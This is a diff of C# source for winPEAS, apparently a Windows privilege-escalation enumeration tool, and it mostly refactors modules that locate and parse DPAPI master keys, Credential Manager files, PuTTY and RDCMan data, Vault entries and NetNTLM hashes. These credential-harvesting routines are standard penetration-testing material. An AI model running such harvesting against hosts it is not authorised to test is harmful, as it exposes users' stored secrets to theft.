//WshShell shell = new WshShell();
//IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(recentFile);
DateTime lastAccessed = System.IO.File.GetLastAccessTime(recentFile); foreach (string recentFile in recentFiles)
if (lastAccessed > startTime)
{ {
// invoke the WshShell com object, creating a shortcut to then extract the TargetPath from // old method (needed interop dll)
Object shortcut = shellObj.GetType().InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile }); //WshShell shell = new WshShell();
Object TargetPath = shortcut.GetType().InvokeMember("TargetPath", BindingFlags.GetProperty, null, shortcut, new object[] { }); //IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(recentFile);
if (TargetPath.ToString().Trim() != "")
DateTime lastAccessed = File.GetLastAccessTime(recentFile);
if (lastAccessed > startTime)
{ {
results.Add(new Dictionary<string, string>() // invoke the WshShell com object, creating a shortcut to then extract the TargetPath from
Object shortcut = shellObj.GetType().InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile });
Object TargetPath = shortcut.GetType().InvokeMember("TargetPath", BindingFlags.GetProperty, null, shortcut, new object[] { });
if (TargetPath.ToString().Trim() != "")
{
results.Add(new Dictionary<string, string>()
{ {
{ "Target", TargetPath.ToString() }, { "Target", TargetPath.ToString() },
{ "Accessed", string.Format("{0}", lastAccessed) } { "Accessed", string.Format("{0}", lastAccessed) }
}); });
}
Marshal.ReleaseComObject(shortcut);
shortcut = null;
} }
Marshal.ReleaseComObject(shortcut);
shortcut = null;
} }
} }
} }
@@ -237,13 +242,15 @@ namespace winPEAS.KnownFileCreds
string userName = parts[parts.Length - 1]; string userName = parts[parts.Length - 1];
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
{ {
List<string> userDPAPIBasePaths = new List<string>(); List<string> userDPAPIBasePaths = new List<string>
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE"))); {
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE"))); string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE")),
string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE"))
};
foreach (string userDPAPIBasePath in userDPAPIBasePaths) foreach (string userDPAPIBasePath in userDPAPIBasePaths)
{ {
if (System.IO.Directory.Exists(userDPAPIBasePath)) if (Directory.Exists(userDPAPIBasePath))
{ {
var directories = Directory.EnumerateDirectories(userDPAPIBasePath); var directories = Directory.EnumerateDirectories(userDPAPIBasePath);
foreach (string directory in directories) foreach (string directory in directories)
@@ -254,9 +261,9 @@ namespace winPEAS.KnownFileCreds
{ {
if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}"))
{ {
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); DateTime lastAccessed = File.GetLastAccessTime(file);
DateTime lastModified = System.IO.File.GetLastWriteTime(file); DateTime lastModified = File.GetLastWriteTime(file);
string fileName = System.IO.Path.GetFileName(file); string fileName = Path.GetFileName(file);
results.Add(new Dictionary<string, string>() results.Add(new Dictionary<string, string>()
{ {
{ "MasterKey", file }, { "MasterKey", file },
@@ -274,13 +281,15 @@ namespace winPEAS.KnownFileCreds
else else
{ {
string userName = Environment.GetEnvironmentVariable("USERNAME"); string userName = Environment.GetEnvironmentVariable("USERNAME");
List<string> userDPAPIBasePaths = new List<string>(); List<string> userDPAPIBasePaths = new List<string>
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
foreach (string userDPAPIBasePath in userDPAPIBasePaths)
{ {
if (System.IO.Directory.Exists(userDPAPIBasePath)) string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE")),
string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE"))
};
foreach (string userDPAPIBasePath in userDPAPIBasePaths)
{
if (Directory.Exists(userDPAPIBasePath))
{ {
var directories = Directory.EnumerateDirectories(userDPAPIBasePath); var directories = Directory.EnumerateDirectories(userDPAPIBasePath);
foreach (string directory in directories) foreach (string directory in directories)
@@ -291,9 +300,9 @@ namespace winPEAS.KnownFileCreds
{ {
if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}"))
{ {
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); DateTime lastAccessed = File.GetLastAccessTime(file);
DateTime lastModified = System.IO.File.GetLastWriteTime(file); DateTime lastModified = File.GetLastWriteTime(file);
string fileName = System.IO.Path.GetFileName(file); string fileName = Path.GetFileName(file);
results.Add(new Dictionary<string, string>() results.Add(new Dictionary<string, string>()
{ {
{ "MasterKey", file }, { "MasterKey", file },
@@ -331,23 +340,25 @@ namespace winPEAS.KnownFileCreds
string userName = parts[parts.Length - 1]; string userName = parts[parts.Length - 1];
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
{ {
List<string> userCredFilePaths = new List<string>(); List<string> userCredFilePaths = new List<string>
userCredFilePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", dir)); {
userCredFilePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", dir)); string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", dir),
string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", dir)
};
foreach (string userCredFilePath in userCredFilePaths) foreach (string userCredFilePath in userCredFilePaths)
{ {
if (System.IO.Directory.Exists(userCredFilePath)) if (Directory.Exists(userCredFilePath))
{ {
var systemFiles = Directory.EnumerateFiles(userCredFilePath); var systemFiles = Directory.EnumerateFiles(userCredFilePath);
if ((systemFiles != null)) if ((systemFiles != null))
{ {
foreach (string file in systemFiles) foreach (string file in systemFiles)
{ {
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); DateTime lastAccessed = File.GetLastAccessTime(file);
DateTime lastModified = System.IO.File.GetLastWriteTime(file); DateTime lastModified = File.GetLastWriteTime(file);
long size = new System.IO.FileInfo(file).Length; long size = new FileInfo(file).Length;
string fileName = System.IO.Path.GetFileName(file); string fileName = Path.GetFileName(file);
// jankily parse the bytes to extract the credential type and master key GUID // jankily parse the bytes to extract the credential type and master key GUID
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54 // reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
@@ -381,49 +392,54 @@ namespace winPEAS.KnownFileCreds
} }
string systemFolder = string.Format("{0}\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", Environment.GetEnvironmentVariable("SystemRoot")); string systemFolder = string.Format("{0}\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", Environment.GetEnvironmentVariable("SystemRoot"));
var files = Directory.EnumerateFiles(systemFolder); if (Directory.Exists(systemFolder))
if ((files != null))
{ {
foreach (string file in files) var files = Directory.EnumerateFiles(systemFolder);
if ((files != null))
{ {
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); foreach (string file in files)
DateTime lastModified = System.IO.File.GetLastWriteTime(file);
long size = new System.IO.FileInfo(file).Length;
string fileName = System.IO.Path.GetFileName(file);
// jankily parse the bytes to extract the credential type and master key GUID
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
byte[] credentialArray = File.ReadAllBytes(file);
byte[] guidMasterKeyArray = new byte[16];
Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16);
Guid guidMasterKey = new Guid(guidMasterKeyArray);
byte[] stringLenArray = new byte[16];
Array.Copy(credentialArray, 56, stringLenArray, 0, 4);
int descLen = BitConverter.ToInt32(stringLenArray, 0);
byte[] descBytes = new byte[descLen];
Array.Copy(credentialArray, 60, descBytes, 0, descLen - 4);
string desc = Encoding.Unicode.GetString(descBytes);
results.Add(new Dictionary<string, string>()
{ {
{ "CredFile", file }, DateTime lastAccessed = File.GetLastAccessTime(file);
{ "Description", desc }, DateTime lastModified = File.GetLastWriteTime(file);
{ "MasterKey", string.Format("{0}", guidMasterKey) }, long size = new System.IO.FileInfo(file).Length;
{ "Accessed", string.Format("{0}", lastAccessed) }, string fileName = Path.GetFileName(file);
{ "Modified", string.Format("{0}", lastModified) },
{ "Size", string.Format("{0}", size) }, // jankily parse the bytes to extract the credential type and master key GUID
}); // reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
byte[] credentialArray = File.ReadAllBytes(file);
byte[] guidMasterKeyArray = new byte[16];
Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16);
Guid guidMasterKey = new Guid(guidMasterKeyArray);
byte[] stringLenArray = new byte[16];
Array.Copy(credentialArray, 56, stringLenArray, 0, 4);
int descLen = BitConverter.ToInt32(stringLenArray, 0);
byte[] descBytes = new byte[descLen];
Array.Copy(credentialArray, 60, descBytes, 0, descLen - 4);
string desc = Encoding.Unicode.GetString(descBytes);
results.Add(new Dictionary<string, string>()
{
{ "CredFile", file },
{ "Description", desc },
{ "MasterKey", string.Format("{0}", guidMasterKey) },
{ "Accessed", string.Format("{0}", lastAccessed) },
{ "Modified", string.Format("{0}", lastModified) },
{ "Size", string.Format("{0}", size) },
});
}
} }
} }
} }
else else
{ {
string userName = Environment.GetEnvironmentVariable("USERNAME"); string userName = Environment.GetEnvironmentVariable("USERNAME");
List<string> userCredFilePaths = new List<string>(); List<string> userCredFilePaths = new List<string>
userCredFilePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", System.Environment.GetEnvironmentVariable("USERPROFILE"))); {
userCredFilePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", System.Environment.GetEnvironmentVariable("USERPROFILE"))); string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", Environment.GetEnvironmentVariable("USERPROFILE")),
string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", Environment.GetEnvironmentVariable("USERPROFILE"))
};
foreach (string userCredFilePath in userCredFilePaths) foreach (string userCredFilePath in userCredFilePaths)
{ {
@@ -433,10 +449,10 @@ namespace winPEAS.KnownFileCreds
foreach (string file in files) foreach (string file in files)
{ {
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); DateTime lastAccessed = File.GetLastAccessTime(file);
DateTime lastModified = System.IO.File.GetLastWriteTime(file); DateTime lastModified = File.GetLastWriteTime(file);
long size = new System.IO.FileInfo(file).Length; long size = new System.IO.FileInfo(file).Length;
string fileName = System.IO.Path.GetFileName(file); string fileName = Path.GetFileName(file);
// jankily parse the bytes to extract the credential type and master key GUID // jankily parse the bytes to extract the credential type and master key GUID
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54 // reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
@@ -472,6 +488,6 @@ namespace winPEAS.KnownFileCreds
Beaprint.PrintException(ex.Message); Beaprint.PrintException(ex.Message);
} }
return results; return results;
} }
} }
} }

View File

@@ -1,6 +1,6 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using Microsoft.Win32;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
@@ -20,7 +20,7 @@ namespace winPEAS.KnownFileCreds
try try
{ {
Beaprint.MainPrint("Putty Sessions"); Beaprint.MainPrint("Putty Sessions");
List<Dictionary<string, string>> putty_sess = Putty.GetPuttySessions(); List<Dictionary<string, string>> putty_sess = GetPuttySessions();
Dictionary<string, string> colorF = new Dictionary<string, string>() Dictionary<string, string> colorF = new Dictionary<string, string>()
{ {
@@ -39,7 +39,7 @@ namespace winPEAS.KnownFileCreds
try try
{ {
Beaprint.MainPrint("Putty SSH Host keys"); Beaprint.MainPrint("Putty SSH Host keys");
List<Dictionary<string, string>> putty_sess = Putty.ListPuttySSHHostKeys(); List<Dictionary<string, string>> putty_sess = ListPuttySSHHostKeys();
Dictionary<string, string> colorF = new Dictionary<string, string>() Dictionary<string, string> colorF = new Dictionary<string, string>()
{ {
{ ".*", Beaprint.ansi_color_bad }, { ".*", Beaprint.ansi_color_bad },
@@ -182,8 +182,10 @@ namespace winPEAS.KnownFileCreds
Dictionary<string, object> hostKeys = RegistryHelper.GetRegValues("HKU", string.Format("{0}\\Software\\SimonTatham\\PuTTY\\SshHostKeys\\", SID)); Dictionary<string, object> hostKeys = RegistryHelper.GetRegValues("HKU", string.Format("{0}\\Software\\SimonTatham\\PuTTY\\SshHostKeys\\", SID));
if ((hostKeys != null) && (hostKeys.Count != 0)) if ((hostKeys != null) && (hostKeys.Count != 0))
{ {
Dictionary<string, string> putty_ssh = new Dictionary<string, string>(); Dictionary<string, string> putty_ssh = new Dictionary<string, string>
putty_ssh["UserSID"] = SID; {
["UserSID"] = SID
};
foreach (KeyValuePair<string, object> kvp in hostKeys) foreach (KeyValuePair<string, object> kvp in hostKeys)
{ {
putty_ssh[kvp.Key] = ""; //Looks like only matters the key name, not the value putty_ssh[kvp.Key] = ""; //Looks like only matters the key name, not the value

View File

@@ -1,8 +1,8 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.IO; using System.IO;
using System.Xml; using System.Xml;
using Microsoft.Win32;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
@@ -77,7 +77,7 @@ namespace winPEAS.KnownFileCreds
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
{ {
string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", dir); string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", dir);
if (System.IO.File.Exists(userRDManFile)) if (File.Exists(userRDManFile))
{ {
XmlDocument xmlDoc = new XmlDocument(); XmlDocument xmlDoc = new XmlDocument();
xmlDoc.Load(userRDManFile); xmlDoc.Load(userRDManFile);
@@ -87,8 +87,8 @@ namespace winPEAS.KnownFileCreds
XmlNodeList items = filesToOpen[0].ChildNodes; XmlNodeList items = filesToOpen[0].ChildNodes;
XmlNode node = items[0]; XmlNode node = items[0];
DateTime lastAccessed = System.IO.File.GetLastAccessTime(userRDManFile); DateTime lastAccessed = File.GetLastAccessTime(userRDManFile);
DateTime lastModified = System.IO.File.GetLastWriteTime(userRDManFile); DateTime lastModified = File.GetLastWriteTime(userRDManFile);
Dictionary<string, string> rdg = new Dictionary<string, string>(){ Dictionary<string, string> rdg = new Dictionary<string, string>(){
{ "RDCManFile", userRDManFile }, { "RDCManFile", userRDManFile },
{ "Accessed", string.Format("{0}", lastAccessed) }, { "Accessed", string.Format("{0}", lastAccessed) },
@@ -107,9 +107,9 @@ namespace winPEAS.KnownFileCreds
else else
{ {
string userName = Environment.GetEnvironmentVariable("USERNAME"); string userName = Environment.GetEnvironmentVariable("USERNAME");
string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", System.Environment.GetEnvironmentVariable("USERPROFILE")); string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", Environment.GetEnvironmentVariable("USERPROFILE"));
if (System.IO.File.Exists(userRDManFile)) if (File.Exists(userRDManFile))
{ {
XmlDocument xmlDoc = new XmlDocument(); XmlDocument xmlDoc = new XmlDocument();
xmlDoc.Load(userRDManFile); xmlDoc.Load(userRDManFile);
@@ -119,8 +119,8 @@ namespace winPEAS.KnownFileCreds
XmlNodeList items = filesToOpen[0].ChildNodes; XmlNodeList items = filesToOpen[0].ChildNodes;
XmlNode node = items[0]; XmlNode node = items[0];
DateTime lastAccessed = System.IO.File.GetLastAccessTime(userRDManFile); DateTime lastAccessed = File.GetLastAccessTime(userRDManFile);
DateTime lastModified = System.IO.File.GetLastWriteTime(userRDManFile); DateTime lastModified = File.GetLastWriteTime(userRDManFile);
Dictionary<string, string> rdg = new Dictionary<string, string>(){ Dictionary<string, string> rdg = new Dictionary<string, string>(){
{ "RDCManFile", userRDManFile }, { "RDCManFile", userRDManFile },
{ "Accessed", string.Format("{0}", lastAccessed) }, { "Accessed", string.Format("{0}", lastAccessed) },

View File

@@ -9,6 +9,6 @@
{ {
Version = version; Version = version;
Hash = hash; Hash = hash;
} }
} }
} }

View File

@@ -2,7 +2,7 @@
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
namespace winPEAS.KnownFileCreds.SecurityPackages namespace winPEAS.KnownFileCreds.SecurityPackages
{ {
[StructLayout(LayoutKind.Sequential)] [StructLayout(LayoutKind.Sequential)]
public struct SecBuffer : IDisposable public struct SecBuffer : IDisposable
{ {

View File

@@ -8,7 +8,7 @@ using winPEAS.Native;
namespace winPEAS.KnownFileCreds.SecurityPackages namespace winPEAS.KnownFileCreds.SecurityPackages
{ {
internal class SecurityPackages internal class SecurityPackages
{ {
[StructLayout(LayoutKind.Sequential)] [StructLayout(LayoutKind.Sequential)]
public struct SECURITY_INTEGER public struct SECURITY_INTEGER
{ {
@@ -30,7 +30,7 @@ namespace winPEAS.KnownFileCreds.SecurityPackages
if (cred != null) if (cred != null)
{ {
yield return cred; yield return cred;
} }
} }
private static NtlmHashInfo GetNtlmCredentialsInternal(string challenge, bool disableESS) private static NtlmHashInfo GetNtlmCredentialsInternal(string challenge, bool disableESS)
@@ -142,7 +142,7 @@ namespace winPEAS.KnownFileCreds.SecurityPackages
return ParseNTResponse(clientTokenBytes, challenge); return ParseNTResponse(clientTokenBytes, challenge);
} }
else if (result == SEC_E_NO_CREDENTIALS) else if (result == SEC_E_NO_CREDENTIALS)
{ {
return null; return null;
} }
else if (disableESS) else if (disableESS)
@@ -209,7 +209,7 @@ namespace winPEAS.KnownFileCreds.SecurityPackages
{ {
return new NtlmHashInfo( return new NtlmHashInfo(
"NetNTLMv2", "NetNTLMv2",
FormatNetNtlmV2Hash(challenge, user, domain, SubArray(nt_resp, 0, 16), SubArray(nt_resp,16, nt_resp.Length - 16)) FormatNetNtlmV2Hash(challenge, user, domain, SubArray(nt_resp, 0, 16), SubArray(nt_resp, 16, nt_resp.Length - 16))
); );
} }
else else
@@ -253,7 +253,7 @@ namespace winPEAS.KnownFileCreds.SecurityPackages
private static string ByteArrayToString(byte[] ba) private static string ByteArrayToString(byte[] ba)
{ {
var hex = new StringBuilder(ba.Length * 2); var hex = new StringBuilder(ba.Length * 2);
foreach (var b in ba) foreach (var b in ba)
{ {
hex.AppendFormat("{0:x2}", b); hex.AppendFormat("{0:x2}", b);

View File

@@ -15,7 +15,7 @@ namespace winPEAS.KnownFileCreds.SuperPutty
private static void PrintConfigurationFiles() private static void PrintConfigurationFiles()
{ {
Beaprint.MainPrint("SuperPutty configuration files"); Beaprint.MainPrint("SuperPutty configuration files");
var dirs = User.GetUsersFolders(); var dirs = User.GetUsersFolders();
var filter = "sessions*.xml"; var filter = "sessions*.xml";
@@ -24,11 +24,14 @@ namespace winPEAS.KnownFileCreds.SuperPutty
try try
{ {
var path = $"{dir}\\Documents\\SuperPuTTY\\"; var path = $"{dir}\\Documents\\SuperPuTTY\\";
var files = Directory.EnumerateFiles(path, filter, SearchOption.TopDirectoryOnly); if (Directory.Exists(path))
foreach (var file in files)
{ {
Beaprint.BadPrint($" {file}"); var files = Directory.EnumerateFiles(path, filter, SearchOption.TopDirectoryOnly);
foreach (var file in files)
{
Beaprint.BadPrint($" {file}");
}
} }
} }
catch (Exception) catch (Exception)

View File

@@ -45,16 +45,18 @@ namespace winPEAS.KnownFileCreds.Vault
// Create dictionary to translate Guids to human readable elements // Create dictionary to translate Guids to human readable elements
IntPtr guidAddress = vaultGuidPtr; IntPtr guidAddress = vaultGuidPtr;
Dictionary<Guid, string> vaultSchema = new Dictionary<Guid, string>(); Dictionary<Guid, string> vaultSchema = new Dictionary<Guid, string>
vaultSchema.Add(new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"), "Windows Secure Note"); {
vaultSchema.Add(new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"), "Windows Web Password Credential"); { new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"), "Windows Secure Note" },
vaultSchema.Add(new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"), "Windows Credential Picker Protector"); { new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"), "Windows Web Password Credential" },
vaultSchema.Add(new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"), "Web Credentials"); { new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"), "Windows Credential Picker Protector" },
vaultSchema.Add(new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"), "Windows Credentials"); { new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"), "Web Credentials" },
vaultSchema.Add(new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"), "Windows Domain Certificate Credential"); { new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"), "Windows Credentials" },
vaultSchema.Add(new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"), "Windows Domain Password Credential"); { new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"), "Windows Domain Certificate Credential" },
vaultSchema.Add(new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"), "Windows Extended Credential"); { new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"), "Windows Domain Password Credential" },
vaultSchema.Add(new Guid("00000000-0000-0000-0000-000000000000"), null); { new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"), "Windows Extended Credential" },
{ new Guid("00000000-0000-0000-0000-000000000000"), null }
};
for (int i = 0; i < vaultCount; i++) for (int i = 0; i < vaultCount; i++)
{ {
@@ -167,7 +169,7 @@ namespace winPEAS.KnownFileCreds.Vault
vault_cred["PacakgeSid"] = string.Format("{0}", packageSid); vault_cred["PacakgeSid"] = string.Format("{0}", packageSid);
} }
vault_cred["Credential"] = string.Format("{0}", cred); vault_cred["Credential"] = string.Format("{0}", cred);
vault_cred["Last Modified"] = string.Format("{0}", System.DateTime.FromFileTimeUtc((long)lastModified)); vault_cred["Last Modified"] = string.Format("{0}", DateTime.FromFileTimeUtc((long)lastModified));
results.Add(vault_cred); results.Add(vault_cred);
} }
} }

View File

@@ -1,15 +1,14 @@
using System; using System;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using winPEAS.Native.Enums; using winPEAS.Native.Enums;
using winPEAS.TaskScheduler.TaskEditor.Native;
namespace winPEAS.Native.Classes namespace winPEAS.Native.Classes
{ {
public partial class SafeTokenHandle : Microsoft.Win32.SafeHandles.SafeHandleZeroOrMinusOneIsInvalid public partial class SafeTokenHandle : Microsoft.Win32.SafeHandles.SafeHandleZeroOrMinusOneIsInvalid
{ {
private const Int32 ERROR_NO_TOKEN = 0x000003F0; private const Int32 ERROR_NO_TOKEN = 0x000003F0;
private const Int32 ERROR_INSUFFICIENT_BUFFER = 122; private const Int32 ERROR_INSUFFICIENT_BUFFER = 122;
private static SafeTokenHandle currentProcessToken = null; private static SafeTokenHandle currentProcessToken = null;
private SafeTokenHandle() : base(true) { } private SafeTokenHandle() : base(true) { }
@@ -20,102 +19,102 @@ namespace winPEAS.Native.Classes
protected override bool ReleaseHandle() => Kernel32.CloseHandle(handle); protected override bool ReleaseHandle() => Kernel32.CloseHandle(handle);
public T GetInfo<T>(TOKEN_INFORMATION_CLASS type) public T GetInfo<T>(TOKEN_INFORMATION_CLASS type)
{ {
int cbSize = Marshal.SizeOf(typeof(T)); int cbSize = Marshal.SizeOf(typeof(T));
IntPtr pType = Marshal.AllocHGlobal(cbSize); IntPtr pType = Marshal.AllocHGlobal(cbSize);
try try
{ {
// Retrieve token information. // Retrieve token information.
if (!Advapi32.GetTokenInformation(this, type, pType, cbSize, out cbSize)) if (!Advapi32.GetTokenInformation(this, type, pType, cbSize, out cbSize))
throw new System.ComponentModel.Win32Exception(); throw new System.ComponentModel.Win32Exception();
// Marshal from native to .NET. // Marshal from native to .NET.
switch (type) switch (type)
{ {
case TOKEN_INFORMATION_CLASS.TokenType: case TOKEN_INFORMATION_CLASS.TokenType:
case TOKEN_INFORMATION_CLASS.TokenImpersonationLevel: case TOKEN_INFORMATION_CLASS.TokenImpersonationLevel:
case TOKEN_INFORMATION_CLASS.TokenSessionId: case TOKEN_INFORMATION_CLASS.TokenSessionId:
case TOKEN_INFORMATION_CLASS.TokenSandBoxInert: case TOKEN_INFORMATION_CLASS.TokenSandBoxInert:
case TOKEN_INFORMATION_CLASS.TokenOrigin: case TOKEN_INFORMATION_CLASS.TokenOrigin:
case TOKEN_INFORMATION_CLASS.TokenElevationType: case TOKEN_INFORMATION_CLASS.TokenElevationType:
case TOKEN_INFORMATION_CLASS.TokenHasRestrictions: case TOKEN_INFORMATION_CLASS.TokenHasRestrictions:
case TOKEN_INFORMATION_CLASS.TokenUIAccess: case TOKEN_INFORMATION_CLASS.TokenUIAccess:
case TOKEN_INFORMATION_CLASS.TokenVirtualizationAllowed: case TOKEN_INFORMATION_CLASS.TokenVirtualizationAllowed:
case TOKEN_INFORMATION_CLASS.TokenVirtualizationEnabled: case TOKEN_INFORMATION_CLASS.TokenVirtualizationEnabled:
return (T)Convert.ChangeType(Marshal.ReadInt32(pType), typeof(T)); return (T)Convert.ChangeType(Marshal.ReadInt32(pType), typeof(T));
case TOKEN_INFORMATION_CLASS.TokenLinkedToken: case TOKEN_INFORMATION_CLASS.TokenLinkedToken:
return (T)Convert.ChangeType(Marshal.ReadIntPtr(pType), typeof(T)); return (T)Convert.ChangeType(Marshal.ReadIntPtr(pType), typeof(T));
case TOKEN_INFORMATION_CLASS.TokenUser: case TOKEN_INFORMATION_CLASS.TokenUser:
case TOKEN_INFORMATION_CLASS.TokenGroups: case TOKEN_INFORMATION_CLASS.TokenGroups:
case TOKEN_INFORMATION_CLASS.TokenPrivileges: case TOKEN_INFORMATION_CLASS.TokenPrivileges:
case TOKEN_INFORMATION_CLASS.TokenOwner: case TOKEN_INFORMATION_CLASS.TokenOwner:
case TOKEN_INFORMATION_CLASS.TokenPrimaryGroup: case TOKEN_INFORMATION_CLASS.TokenPrimaryGroup:
case TOKEN_INFORMATION_CLASS.TokenDefaultDacl: case TOKEN_INFORMATION_CLASS.TokenDefaultDacl:
case TOKEN_INFORMATION_CLASS.TokenSource: case TOKEN_INFORMATION_CLASS.TokenSource:
case TOKEN_INFORMATION_CLASS.TokenStatistics: case TOKEN_INFORMATION_CLASS.TokenStatistics:
case TOKEN_INFORMATION_CLASS.TokenRestrictedSids: case TOKEN_INFORMATION_CLASS.TokenRestrictedSids:
case TOKEN_INFORMATION_CLASS.TokenGroupsAndPrivileges: case TOKEN_INFORMATION_CLASS.TokenGroupsAndPrivileges:
case TOKEN_INFORMATION_CLASS.TokenElevation: case TOKEN_INFORMATION_CLASS.TokenElevation:
case TOKEN_INFORMATION_CLASS.TokenAccessInformation: case TOKEN_INFORMATION_CLASS.TokenAccessInformation:
case TOKEN_INFORMATION_CLASS.TokenIntegrityLevel: case TOKEN_INFORMATION_CLASS.TokenIntegrityLevel:
case TOKEN_INFORMATION_CLASS.TokenMandatoryPolicy: case TOKEN_INFORMATION_CLASS.TokenMandatoryPolicy:
case TOKEN_INFORMATION_CLASS.TokenLogonSid: case TOKEN_INFORMATION_CLASS.TokenLogonSid:
return (T)Marshal.PtrToStructure(pType, typeof(T)); return (T)Marshal.PtrToStructure(pType, typeof(T));
case TOKEN_INFORMATION_CLASS.TokenSessionReference: case TOKEN_INFORMATION_CLASS.TokenSessionReference:
case TOKEN_INFORMATION_CLASS.TokenAuditPolicy: case TOKEN_INFORMATION_CLASS.TokenAuditPolicy:
default: default:
return default(T); return default(T);
} }
} }
